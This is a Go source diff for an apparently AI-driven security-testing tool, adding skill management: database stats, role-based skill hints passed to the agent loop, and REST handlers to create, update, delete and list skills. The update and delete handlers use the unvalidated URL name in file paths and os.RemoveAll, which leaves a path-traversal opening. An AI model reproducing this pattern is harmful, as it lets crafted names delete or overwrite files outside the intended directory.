|
||||
VALUES (?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(skill_name) DO UPDATE SET
|
||||
total_calls = total_calls + ?,
|
||||
success_calls = success_calls + ?,
|
||||
failed_calls = failed_calls + ?,
|
||||
last_call_time = COALESCE(?, last_call_time),
|
||||
updated_at = ?
|
||||
`
|
||||
|
||||
_, err := db.Exec(query,
|
||||
skillName, totalCalls, successCalls, failedCalls, lastCallTimeSQL, time.Now(),
|
||||
totalCalls, successCalls, failedCalls, lastCallTimeSQL, time.Now(),
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
db.logger.Error("更新Skills统计信息失败", zap.Error(err), zap.String("skillName", skillName))
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ClearSkillStats 清空所有Skills统计信息
|
||||
func (db *DB) ClearSkillStats() error {
|
||||
query := `DELETE FROM skill_stats`
|
||||
_, err := db.Exec(query)
|
||||
if err != nil {
|
||||
db.logger.Error("清空Skills统计信息失败", zap.Error(err))
|
||||
return err
|
||||
}
|
||||
db.logger.Info("已清空所有Skills统计信息")
|
||||
return nil
|
||||
}
|
||||
|
||||
// ClearSkillStatsByName 清空指定skill的统计信息
|
||||
func (db *DB) ClearSkillStatsByName(skillName string) error {
|
||||
query := `DELETE FROM skill_stats WHERE skill_name = ?`
|
||||
_, err := db.Exec(query, skillName)
|
||||
if err != nil {
|
||||
db.logger.Error("清空指定skill统计信息失败", zap.Error(err), zap.String("skillName", skillName))
|
||||
return err
|
||||
}
|
||||
db.logger.Info("已清空指定skill统计信息", zap.String("skillName", skillName))
|
||||
return nil
|
||||
}
|
||||
@@ -15,6 +15,7 @@ import (
|
||||
"cyberstrike-ai/internal/config"
|
||||
"cyberstrike-ai/internal/database"
|
||||
"cyberstrike-ai/internal/mcp/builtin"
|
||||
"cyberstrike-ai/internal/skills"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
"go.uber.org/zap"
|
||||
@@ -72,6 +73,7 @@ type AgentHandler struct {
|
||||
knowledgeManager interface { // 知识库管理器接口
|
||||
LogRetrieval(conversationID, messageID, query, riskType string, retrievedItems []string) error
|
||||
}
|
||||
skillsManager *skills.Manager // Skills管理器
|
||||
}
|
||||
|
||||
// NewAgentHandler 创建新的Agent处理器
|
||||
@@ -101,6 +103,11 @@ func (h *AgentHandler) SetKnowledgeManager(manager interface {
|
||||
h.knowledgeManager = manager
|
||||
}
|
||||
|
||||
// SetSkillsManager 设置Skills管理器
|
||||
func (h *AgentHandler) SetSkillsManager(manager *skills.Manager) {
|
||||
h.skillsManager = manager
|
||||
}
|
||||
|
||||
// ChatRequest 聊天请求
|
||||
type ChatRequest struct {
|
||||
Message string `json:"message" binding:"required"`
|
||||
@@ -169,6 +176,7 @@ func (h *AgentHandler) AgentLoop(c *gin.Context) {
|
||||
// 应用角色用户提示词和工具配置
|
||||
finalMessage := req.Message
|
||||
var roleTools []string // 角色配置的工具列表
|
||||
var roleSkills []string // 角色配置的skills列表(用于提示AI,但不硬编码内容)
|
||||
if req.Role != "" && req.Role != "默认" {
|
||||
if h.config.Roles != nil {
|
||||
if role, exists := h.config.Roles[req.Role]; exists && role.Enabled {
|
||||
@@ -182,6 +190,11 @@ func (h *AgentHandler) AgentLoop(c *gin.Context) {
|
||||
roleTools = role.Tools
|
||||
h.logger.Info("使用角色配置的工具列表", zap.String("role", req.Role), zap.Int("toolCount", len(roleTools)))
|
||||
}
|
||||
// 获取角色配置的skills列表(用于在系统提示词中提示AI,但不硬编码内容)
|
||||
if len(role.Skills) > 0 {
|
||||
roleSkills = role.Skills
|
||||
h.logger.Info("角色配置了skills,将在系统提示词中提示AI", zap.String("role", req.Role), zap.Int("skillCount", len(roleSkills)), zap.Strings("skills", roleSkills))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -193,7 +206,8 @@ func (h *AgentHandler) AgentLoop(c *gin.Context) {
|
||||
}
|
||||
|
||||
// 执行Agent Loop,传入历史消息和对话ID(使用包含角色提示词的finalMessage和角色工具列表)
|
||||
result, err := h.agent.AgentLoopWithProgress(c.Request.Context(), finalMessage, agentHistoryMessages, conversationID, nil, roleTools)
|
||||
// 注意:skills不会硬编码注入,但会在系统提示词中提示AI这个角色推荐使用哪些skills
|
||||
result, err := h.agent.AgentLoopWithProgress(c.Request.Context(), finalMessage, agentHistoryMessages, conversationID, nil, roleTools, roleSkills)
|
||||
if err != nil {
|
||||
h.logger.Error("Agent Loop执行失败", zap.Error(err))
|
||||
|
||||
@@ -515,6 +529,10 @@ func (h *AgentHandler) AgentLoopStream(c *gin.Context) {
|
||||
// 因为mcps是MCP服务器名称,不是工具列表
|
||||
h.logger.Info("角色配置使用旧的mcps字段,将使用所有工具", zap.String("role", req.Role))
|
||||
}
|
||||
// 注意:角色配置的skills不再硬编码注入,AI可以通过list_skills和read_skill工具按需调用
|
||||
if len(role.Skills) > 0 {
|
||||
h.logger.Info("角色配置了skills,AI可通过工具按需调用", zap.String("role", req.Role), zap.Int("skillCount", len(role.Skills)), zap.Strings("skills", role.Skills))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -599,7 +617,18 @@ func (h *AgentHandler) AgentLoopStream(c *gin.Context) {
|
||||
|
||||
// 执行Agent Loop,传入独立的上下文,确保任务不会因客户端断开而中断(使用包含角色提示词的finalMessage和角色工具列表)
|
||||
sendEvent("progress", "正在分析您的请求...", nil)
|
||||
result, err := h.agent.AgentLoopWithProgress(taskCtx, finalMessage, agentHistoryMessages, conversationID, progressCallback, roleTools)
|
||||
// 注意:skills不会硬编码注入,但会在系统提示词中提示AI这个角色推荐使用哪些skills
|
||||
var roleSkills []string // 角色配置的skills列表(用于提示AI,但不硬编码内容)
|
||||
if req.Role != "" && req.Role != "默认" {
|
||||
if h.config.Roles != nil {
|
||||
if role, exists := h.config.Roles[req.Role]; exists && role.Enabled {
|
||||
if len(role.Skills) > 0 {
|
||||
roleSkills = role.Skills
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
result, err := h.agent.AgentLoopWithProgress(taskCtx, finalMessage, agentHistoryMessages, conversationID, progressCallback, roleTools, roleSkills)
|
||||
if err != nil {
|
||||
h.logger.Error("Agent Loop执行失败", zap.Error(err))
|
||||
cause := context.Cause(baseCtx)
|
||||
@@ -1099,6 +1128,7 @@ func (h *AgentHandler) executeBatchQueue(queueID string) {
|
||||
// 应用角色用户提示词和工具配置
|
||||
finalMessage := task.Message
|
||||
var roleTools []string // 角色配置的工具列表
|
||||
var roleSkills []string // 角色配置的skills列表(用于提示AI,但不硬编码内容)
|
||||
if queue.Role != "" && queue.Role != "默认" {
|
||||
if h.config.Roles != nil {
|
||||
if role, exists := h.config.Roles[queue.Role]; exists && role.Enabled {
|
||||
@@ -1112,6 +1142,11 @@ func (h *AgentHandler) executeBatchQueue(queueID string) {
|
||||
roleTools = role.Tools
|
||||
h.logger.Info("使用角色配置的工具列表", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("role", queue.Role), zap.Int("toolCount", len(roleTools)))
|
||||
}
|
||||
// 获取角色配置的skills列表(用于在系统提示词中提示AI,但不硬编码内容)
|
||||
if len(role.Skills) > 0 {
|
||||
roleSkills = role.Skills
|
||||
h.logger.Info("角色配置了skills,将在系统提示词中提示AI", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("role", queue.Role), zap.Int("skillCount", len(roleSkills)), zap.Strings("skills", roleSkills))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1144,7 +1179,8 @@ func (h *AgentHandler) executeBatchQueue(queueID string) {
|
||||
// 存储取消函数,以便在取消队列时能够取消当前任务
|
||||
h.batchTaskManager.SetTaskCancel(queueID, cancel)
|
||||
// 使用队列配置的角色工具列表(如果为空,表示使用所有工具)
|
||||
result, err := h.agent.AgentLoopWithProgress(ctx, finalMessage, []agent.ChatMessage{}, conversationID, progressCallback, roleTools)
|
||||
// 注意:skills不会硬编码注入,但会在系统提示词中提示AI这个角色推荐使用哪些skills
|
||||
result, err := h.agent.AgentLoopWithProgress(ctx, finalMessage, []agent.ChatMessage{}, conversationID, progressCallback, roleTools, roleSkills)
|
||||
// 任务执行完成,清理取消函数
|
||||
h.batchTaskManager.SetTaskCancel(queueID, nil)
|
||||
cancel()
|
||||
|
||||
@@ -18,9 +18,15 @@ import (
|
||||
|
||||
// RoleHandler 角色处理器
|
||||
type RoleHandler struct {
|
||||
config *config.Config
|
||||
configPath string
|
||||
logger *zap.Logger
|
||||
config *config.Config
|
||||
configPath string
|
||||
logger *zap.Logger
|
||||
skillsManager SkillsManager // Skills管理器接口(可选)
|
||||
}
|
||||
|
||||
// SkillsManager Skills管理器接口
|
||||
type SkillsManager interface {
|
||||
ListSkills() ([]string, error)
|
||||
}
|
||||
|
||||
// NewRoleHandler 创建新的角色处理器
|
||||
@@ -32,6 +38,34 @@ func NewRoleHandler(cfg *config.Config, configPath string, logger *zap.Logger) *
|
||||
}
|
||||
}
|
||||
|
||||
// SetSkillsManager 设置Skills管理器
|
||||
func (h *RoleHandler) SetSkillsManager(manager SkillsManager) {
|
||||
h.skillsManager = manager
|
||||
}
|
||||
|
||||
// GetSkills 获取所有可用的skills列表
|
||||
func (h *RoleHandler) GetSkills(c *gin.Context) {
|
||||
if h.skillsManager == nil {
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"skills": []string{},
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
skills, err := h.skillsManager.ListSkills()
|
||||
if err != nil {
|
||||
h.logger.Warn("获取skills列表失败", zap.Error(err))
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"skills": []string{},
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"skills": skills,
|
||||
})
|
||||
}
|
||||
|
||||
// GetRoles 获取所有角色
|
||||
func (h *RoleHandler) GetRoles(c *gin.Context) {
|
||||
if h.config.Roles == nil {
|
||||
|
||||
@@ -0,0 +1,778 @@
|
||||
package handler
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"cyberstrike-ai/internal/config"
|
||||
"cyberstrike-ai/internal/database"
|
||||
"cyberstrike-ai/internal/skills"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
"go.uber.org/zap"
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
// SkillsHandler Skills处理器
|
||||
type SkillsHandler struct {
|
||||
manager *skills.Manager
|
||||
config *config.Config
|
||||
configPath string
|
||||
logger *zap.Logger
|
||||
db *database.DB // 数据库连接(用于获取调用统计)
|
||||
}
|
||||
|
||||
// NewSkillsHandler 创建新的Skills处理器
|
||||
func NewSkillsHandler(manager *skills.Manager, cfg *config.Config, configPath string, logger *zap.Logger) *SkillsHandler {
|
||||
return &SkillsHandler{
|
||||
manager: manager,
|
||||
config: cfg,
|
||||
configPath: configPath,
|
||||
logger: logger,
|
||||
}
|
||||
}
|
||||
|
||||
// SetDB 设置数据库连接(用于获取调用统计)
|
||||
func (h *SkillsHandler) SetDB(db *database.DB) {
|
||||
h.db = db
|
||||
}
|
||||
|
||||
// GetSkills 获取所有skills列表(支持分页和搜索)
|
||||
func (h *SkillsHandler) GetSkills(c *gin.Context) {
|
||||
skillList, err := h.manager.ListSkills()
|
||||
if err != nil {
|
||||
h.logger.Error("获取skills列表失败", zap.Error(err))
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
// 搜索参数
|
||||
searchKeyword := strings.TrimSpace(c.Query("search"))
|
||||
|
||||
// 先加载所有skills的详细信息用于搜索过滤
|
||||
allSkillsInfo := make([]map[string]interface{}, 0, len(skillList))
|
||||
for _, skillName := range skillList {
|
||||
skill, err := h.manager.LoadSkill(skillName)
|
||||
if err != nil {
|
||||
h.logger.Warn("加载skill失败", zap.String("skill", skillName), zap.Error(err))
|
||||
continue
|
||||
}
|
||||
|
||||
// 获取文件信息
|
||||
skillPath := skill.Path
|
||||
skillFile := filepath.Join(skillPath, "SKILL.md")
|
||||
// 尝试其他可能的文件名
|
||||
if _, err := os.Stat(skillFile); os.IsNotExist(err) {
|
||||
alternatives := []string{
|
||||
filepath.Join(skillPath, "skill.md"),
|
||||
filepath.Join(skillPath, "README.md"),
|
||||
filepath.Join(skillPath, "readme.md"),
|
||||
}
|
||||
for _, alt := range alternatives {
|
||||
if _, err := os.Stat(alt); err == nil {
|
||||
skillFile = alt
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fileInfo, _ := os.Stat(skillFile)
|
||||
var fileSize int64
|
||||
var modTime string
|
||||
if fileInfo != nil {
|
||||
fileSize = fileInfo.Size()
|
||||
modTime = fileInfo.ModTime().Format("2006-01-02 15:04:05")
|
||||
}
|
||||
|
||||
skillInfo := map[string]interface{}{
|
||||
"name": skill.Name,
|
||||
"description": skill.Description,
|
||||
"path": skill.Path,
|
||||
"file_size": fileSize,
|
||||
"mod_time": modTime,
|
||||
}
|
||||
allSkillsInfo = append(allSkillsInfo, skillInfo)
|
||||
}
|
||||
|
||||
// 如果有搜索关键词,进行过滤
|
||||
filteredSkillsInfo := allSkillsInfo
|
||||
if searchKeyword != "" {
|
||||
keywordLower := strings.ToLower(searchKeyword)
|
||||
filteredSkillsInfo = make([]map[string]interface{}, 0)
|
||||
for _, skillInfo := range allSkillsInfo {
|
||||
name := strings.ToLower(fmt.Sprintf("%v", skillInfo["name"]))
|
||||
description := strings.ToLower(fmt.Sprintf("%v", skillInfo["description"]))
|
||||
path := strings.ToLower(fmt.Sprintf("%v", skillInfo["path"]))
|
||||
|
||||
if strings.Contains(name, keywordLower) ||
|
||||
strings.Contains(description, keywordLower) ||
|
||||
strings.Contains(path, keywordLower) {
|
||||
filteredSkillsInfo = append(filteredSkillsInfo, skillInfo)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 分页参数
|
||||
limit := 20 // 默认每页20条
|
||||
offset := 0
|
||||
if limitStr := c.Query("limit"); limitStr != "" {
|
||||
if parsed, err := parseInt(limitStr); err == nil && parsed > 0 {
|
||||
// 允许更大的limit用于搜索场景,但设置一个合理的上限(10000)
|
||||
if parsed <= 10000 {
|
||||
limit = parsed
|
||||
} else {
|
||||
limit = 10000
|
||||
}
|
||||
}
|
||||
}
|
||||
if offsetStr := c.Query("offset"); offsetStr != "" {
|
||||
if parsed, err := parseInt(offsetStr); err == nil && parsed >= 0 {
|
||||
offset = parsed
|
||||
}
|
||||
}
|
||||
|
||||
// 计算分页范围
|
||||
total := len(filteredSkillsInfo)
|
||||
start := offset
|
||||
end := offset + limit
|
||||
if start > total {
|
||||
start = total
|
||||
}
|
||||
if end > total {
|
||||
end = total
|
||||
}
|
||||
|
||||
// 获取当前页的skill列表
|
||||
var paginatedSkillsInfo []map[string]interface{}
|
||||
if start < end {
|
||||
paginatedSkillsInfo = filteredSkillsInfo[start:end]
|
||||
} else {
|
||||
paginatedSkillsInfo = []map[string]interface{}{}
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"skills": paginatedSkillsInfo,
|
||||
"total": total,
|
||||
"limit": limit,
|
||||
"offset": offset,
|
||||
})
|
||||
}
|
||||
|
||||
// GetSkill 获取单个skill的详细信息
|
||||
func (h *SkillsHandler) GetSkill(c *gin.Context) {
|
||||
skillName := c.Param("name")
|
||||
if skillName == "" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "skill名称不能为空"})
|
||||
return
|
||||
}
|
||||
|
||||
skill, err := h.manager.LoadSkill(skillName)
|
||||
if err != nil {
|
||||
h.logger.Warn("加载skill失败", zap.String("skill", skillName), zap.Error(err))
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "skill不存在: " + err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
// 获取文件信息
|
||||
skillPath := skill.Path
|
||||
skillFile := filepath.Join(skillPath, "SKILL.md")
|
||||
if _, err := os.Stat(skillFile); os.IsNotExist(err) {
|
||||
alternatives := []string{
|
||||
filepath.Join(skillPath, "skill.md"),
|
||||
filepath.Join(skillPath, "README.md"),
|
||||
filepath.Join(skillPath, "readme.md"),
|
||||
}
|
||||
for _, alt := range alternatives {
|
||||
if _, err := os.Stat(alt); err == nil {
|
||||
skillFile = alt
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fileInfo, _ := os.Stat(skillFile)
|
||||
var fileSize int64
|
||||
var modTime string
|
||||
if fileInfo != nil {
|
||||
fileSize = fileInfo.Size()
|
||||
modTime = fileInfo.ModTime().Format("2006-01-02 15:04:05")
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"skill": map[string]interface{}{
|
||||
"name": skill.Name,
|
||||
"description": skill.Description,
|
||||
"content": skill.Content,
|
||||
"path": skill.Path,
|
||||
"file_size": fileSize,
|
||||
"mod_time": modTime,
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
// GetSkillBoundRoles 获取绑定指定skill的角色列表
|
||||
func (h *SkillsHandler) GetSkillBoundRoles(c *gin.Context) {
|
||||
skillName := c.Param("name")
|
||||
if skillName == "" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "skill名称不能为空"})
|
||||
return
|
||||
}
|
||||
|
||||
boundRoles := h.getRolesBoundToSkill(skillName)
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"skill": skillName,
|
||||
"bound_roles": boundRoles,
|
||||
"bound_count": len(boundRoles),
|
||||
})
|
||||
}
|
||||
|
||||
// getRolesBoundToSkill 获取绑定指定skill的角色列表(不修改配置)
|
||||
func (h *SkillsHandler) getRolesBoundToSkill(skillName string) []string {
|
||||
if h.config.Roles == nil {
|
||||
return []string{}
|
||||
}
|
||||
|
||||
boundRoles := make([]string, 0)
|
||||
for roleName, role := range h.config.Roles {
|
||||
// 确保角色名称正确设置
|
||||
if role.Name == "" {
|
||||
role.Name = roleName
|
||||
}
|
||||
|
||||
// 检查角色的Skills列表中是否包含该skill
|
||||
if len(role.Skills) > 0 {
|
||||
for _, skill := range role.Skills {
|
||||
if skill == skillName {
|
||||
boundRoles = append(boundRoles, roleName)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return boundRoles
|
||||
}
|
||||
|
||||
// CreateSkill 创建新skill
|
||||
func (h *SkillsHandler) CreateSkill(c *gin.Context) {
|
||||
var req struct {
|
||||
Name string `json:"name" binding:"required"`
|
||||
Description string `json:"description"`
|
||||
Content string `json:"content" binding:"required"`
|
||||
}
|
||||
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "无效的请求参数: " + err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
// 验证skill名称(只允许字母、数字、连字符和下划线)
|
||||
if !isValidSkillName(req.Name) {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "skill名称只能包含字母、数字、连字符和下划线"})
|
||||
return
|
||||
}
|
||||
|
||||
// 获取skills目录
|
||||
skillsDir := h.config.SkillsDir
|
||||
if skillsDir == "" {
|
||||
skillsDir = "skills"
|
||||
}
|
||||
configDir := filepath.Dir(h.configPath)
|
||||
if !filepath.IsAbs(skillsDir) {
|
||||
skillsDir = filepath.Join(configDir, skillsDir)
|
||||
}
|
||||
|
||||
// 创建skill目录
|
||||
skillDir := filepath.Join(skillsDir, req.Name)
|
||||
if err := os.MkdirAll(skillDir, 0755); err != nil {
|
||||
h.logger.Error("创建skill目录失败", zap.String("skill", req.Name), zap.Error(err))
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "创建skill目录失败: " + err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
// 检查是否已存在
|
||||
skillFile := filepath.Join(skillDir, "SKILL.md")
|
||||
if _, err := os.Stat(skillFile); err == nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "skill已存在"})
|
||||
return
|
||||
}
|
||||
|
||||
// 构建SKILL.md内容
|
||||
var content strings.Builder
|
||||
content.WriteString("---\n")
|
||||
content.WriteString(fmt.Sprintf("name: %s\n", req.Name))
|
||||
if req.Description != "" {
|
||||
// 如果描述包含特殊字符,需要加引号
|
||||
desc := req.Description
|
||||
if strings.Contains(desc, ":") || strings.Contains(desc, "\n") {
|
||||
desc = fmt.Sprintf(`"%s"`, strings.ReplaceAll(desc, `"`, `\"`))
|
||||
}
|
||||
content.WriteString(fmt.Sprintf("description: %s\n", desc))
|
||||
}
|
||||
content.WriteString("version: 1.0.0\n")
|
||||
content.WriteString("---\n\n")
|
||||
content.WriteString(req.Content)
|
||||
|
||||
// 写入文件
|
||||
if err := os.WriteFile(skillFile, []byte(content.String()), 0644); err != nil {
|
||||
h.logger.Error("创建skill文件失败", zap.String("skill", req.Name), zap.Error(err))
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "创建skill文件失败: " + err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
h.logger.Info("创建skill成功", zap.String("skill", req.Name))
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"message": "skill已创建",
|
||||
"skill": map[string]interface{}{
|
||||
"name": req.Name,
|
||||
"path": skillDir,
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
// UpdateSkill 更新skill
|
||||
func (h *SkillsHandler) UpdateSkill(c *gin.Context) {
|
||||
skillName := c.Param("name")
|
||||
if skillName == "" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "skill名称不能为空"})
|
||||
return
|
||||
}
|
||||
|
||||
var req struct {
|
||||
Description string `json:"description"`
|
||||
Content string `json:"content" binding:"required"`
|
||||
}
|
||||
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "无效的请求参数: " + err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
// 获取skills目录
|
||||
skillsDir := h.config.SkillsDir
|
||||
if skillsDir == "" {
|
||||
skillsDir = "skills"
|
||||
}
|
||||
configDir := filepath.Dir(h.configPath)
|
||||
if !filepath.IsAbs(skillsDir) {
|
||||
skillsDir = filepath.Join(configDir, skillsDir)
|
||||
}
|
||||
|
||||
// 查找skill文件
|
||||
skillDir := filepath.Join(skillsDir, skillName)
|
||||
skillFile := filepath.Join(skillDir, "SKILL.md")
|
||||
if _, err := os.Stat(skillFile); os.IsNotExist(err) {
|
||||
alternatives := []string{
|
||||
filepath.Join(skillDir, "skill.md"),
|
||||
filepath.Join(skillDir, "README.md"),
|
||||
filepath.Join(skillDir, "readme.md"),
|
||||
}
|
||||
found := false
|
||||
for _, alt := range alternatives {
|
||||
if _, err := os.Stat(alt); err == nil {
|
||||
skillFile = alt
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "skill不存在"})
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// 读取现有文件以保留front matter中的name
|
||||
existingContent, err := os.ReadFile(skillFile)
|
||||
if err != nil {
|
||||
h.logger.Error("读取skill文件失败", zap.String("skill", skillName), zap.Error(err))
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "读取skill文件失败: " + err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
// 解析现有内容,提取name
|
||||
existingName := skillName
|
||||
contentStr := string(existingContent)
|
||||
if strings.HasPrefix(contentStr, "---") {
|
||||
parts := strings.SplitN(contentStr, "---", 3)
|
||||
if len(parts) >= 2 {
|
||||
frontMatter := parts[1]
|
||||
lines := strings.Split(frontMatter, "\n")
|
||||
for _, line := range lines {
|
||||
line = strings.TrimSpace(line)
|
||||
if strings.HasPrefix(line, "name:") {
|
||||
name := strings.TrimSpace(strings.TrimPrefix(line, "name:"))
|
||||
name = strings.Trim(name, `"'`)
|
||||
if name != "" {
|
||||
existingName = name
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 构建新的SKILL.md内容
|
||||
var newContent strings.Builder
|
||||
newContent.WriteString("---\n")
|
||||
newContent.WriteString(fmt.Sprintf("name: %s\n", existingName))
|
||||
if req.Description != "" {
|
||||
// 如果描述包含特殊字符,需要加引号
|
||||
desc := req.Description
|
||||
if strings.Contains(desc, ":") || strings.Contains(desc, "\n") {
|
||||
desc = fmt.Sprintf(`"%s"`, strings.ReplaceAll(desc, `"`, `\"`))
|
||||
}
|
||||
newContent.WriteString(fmt.Sprintf("description: %s\n", desc))
|
||||
}
|
||||
newContent.WriteString("version: 1.0.0\n")
|
||||
newContent.WriteString("---\n\n")
|
||||
newContent.WriteString(req.Content)
|
||||
|
||||
// 写入文件(统一使用SKILL.md)
|
||||
targetFile := filepath.Join(skillDir, "SKILL.md")
|
||||
if err := os.WriteFile(targetFile, []byte(newContent.String()), 0644); err != nil {
|
||||
h.logger.Error("更新skill文件失败", zap.String("skill", skillName), zap.Error(err))
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "更新skill文件失败: " + err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
// 如果原文件不是SKILL.md,删除旧文件
|
||||
if skillFile != targetFile {
|
||||
os.Remove(skillFile)
|
||||
}
|
||||
|
||||
h.logger.Info("更新skill成功", zap.String("skill", skillName))
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"message": "skill已更新",
|
||||
})
|
||||
}
|
||||
|
||||
// DeleteSkill 删除skill
|
||||
func (h *SkillsHandler) DeleteSkill(c *gin.Context) {
|
||||
skillName := c.Param("name")
|
||||
if skillName == "" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "skill名称不能为空"})
|
||||
return
|
||||
}
|
||||
|
||||
// 检查是否有角色绑定了该skill,如果有则自动移除绑定
|
||||
affectedRoles := h.removeSkillFromRoles(skillName)
|
||||
if len(affectedRoles) > 0 {
|
||||
h.logger.Info("从角色中移除skill绑定",
|
||||
zap.String("skill", skillName),
|
||||
zap.Strings("roles", affectedRoles))
|
||||
}
|
||||
|
||||
// 获取skills目录
|
||||
skillsDir := h.config.SkillsDir
|
||||
if skillsDir == "" {
|
||||
skillsDir = "skills"
|
||||
}
|
||||
configDir := filepath.Dir(h.configPath)
|
||||
if !filepath.IsAbs(skillsDir) {
|
||||
skillsDir = filepath.Join(configDir, skillsDir)
|
||||
}
|
||||
|
||||
// 删除skill目录
|
||||
skillDir := filepath.Join(skillsDir, skillName)
|
||||
if err := os.RemoveAll(skillDir); err != nil {
|
||||
h.logger.Error("删除skill失败", zap.String("skill", skillName), zap.Error(err))
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "删除skill失败: " + err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
responseMsg := "skill已删除"
|
||||
if len(affectedRoles) > 0 {
|
||||
responseMsg = fmt.Sprintf("skill已删除,已自动从 %d 个角色中移除绑定: %s",
|
||||
len(affectedRoles), strings.Join(affectedRoles, ", "))
|
||||
}
|
||||
|
||||
h.logger.Info("删除skill成功", zap.String("skill", skillName))
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"message": responseMsg,
|
||||
"affected_roles": affectedRoles,
|
||||
})
|
||||
}
|
||||
|
||||
// GetSkillStats 获取skills调用统计信息
|
||||
func (h *SkillsHandler) GetSkillStats(c *gin.Context) {
|
||||
skillList, err := h.manager.ListSkills()
|
||||
if err != nil {
|
||||
h.logger.Error("获取skills列表失败", zap.Error(err))
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
// 获取skills目录
|
||||
skillsDir := h.config.SkillsDir
|
||||
if skillsDir == "" {
|
||||
skillsDir = "skills"
|
||||
}
|
||||
configDir := filepath.Dir(h.configPath)
|
||||
if !filepath.IsAbs(skillsDir) {
|
||||
skillsDir = filepath.Join(configDir, skillsDir)
|
||||
}
|
||||
|
||||
// 从数据库加载调用统计
|
||||
var skillStatsMap map[string]*database.SkillStats
|
||||
if h.db != nil {
|
||||
dbStats, err := h.db.LoadSkillStats()
|
||||
if err != nil {
|
||||
h.logger.Warn("从数据库加载Skills统计信息失败", zap.Error(err))
|
||||
skillStatsMap = make(map[string]*database.SkillStats)
|
||||
} else {
|
||||
skillStatsMap = dbStats
|
||||
}
|
||||
} else {
|
||||
skillStatsMap = make(map[string]*database.SkillStats)
|
||||
}
|
||||
|
||||
// 构建统计信息(包含所有skills,即使没有调用记录)
|
||||
statsList := make([]map[string]interface{}, 0, len(skillList))
|
||||
totalCalls := 0
|
||||
totalSuccess := 0
|
||||
totalFailed := 0
|
||||
|
||||
for _, skillName := range skillList {
|
||||
stat, exists := skillStatsMap[skillName]
|
||||
if !exists {
|
||||
stat = &database.SkillStats{
|
||||
SkillName: skillName,
|
||||
TotalCalls: 0,
|
||||
SuccessCalls: 0,
|
||||
FailedCalls: 0,
|
||||
}
|
||||
}
|
||||
|
||||
totalCalls += stat.TotalCalls
|
||||
totalSuccess += stat.SuccessCalls
|
||||
totalFailed += stat.FailedCalls
|
||||
|
||||
lastCallTimeStr := ""
|
||||
if stat.LastCallTime != nil {
|
||||
lastCallTimeStr = stat.LastCallTime.Format("2006-01-02 15:04:05")
|
||||
}
|
||||
|
||||
statsList = append(statsList, map[string]interface{}{
|
||||
"skill_name": stat.SkillName,
|
||||
"total_calls": stat.TotalCalls,
|
||||
"success_calls": stat.SuccessCalls,
|
||||
"failed_calls": stat.FailedCalls,
|
||||
"last_call_time": lastCallTimeStr,
|
||||
})
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
